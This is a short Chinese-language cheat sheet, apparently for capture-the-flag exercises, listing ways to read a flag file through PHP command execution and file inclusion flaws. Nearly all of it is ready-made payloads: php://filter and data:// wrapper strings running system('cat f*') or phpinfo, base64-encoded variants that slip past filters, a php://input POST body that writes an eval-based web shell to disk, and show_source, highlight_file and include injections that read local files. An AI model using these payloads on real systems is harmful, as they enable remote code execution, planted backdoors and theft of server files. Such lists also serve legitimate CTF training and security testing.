命令执行:查看代码/flag的几种方式
一、PHP伪协议
php://filter/read=convert.base64-encode/resource=flag.php
data://text/plain,<?php system(“cat f*”); ?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTsgPz4=
无任何过滤:
data://text/plain,<?php phpinfo()?>
不得出现PHP < ? 字样:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
data:text/plain,<?php phpinfo()?>
data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
php://input协议,可以尝试直接写shell或是调用system函数查看flag
[POST DATA]<?php fputs(fopen(“shell.php”,”w”),'<?php eval($_POST[“cmd”];?>’);?>
二、读取文件函数
c=show_source(‘flag.php’);
c=highlight_file(‘flag.php’);
三、flag为txt文件但位于根目录
c=include(‘/flag.txt’)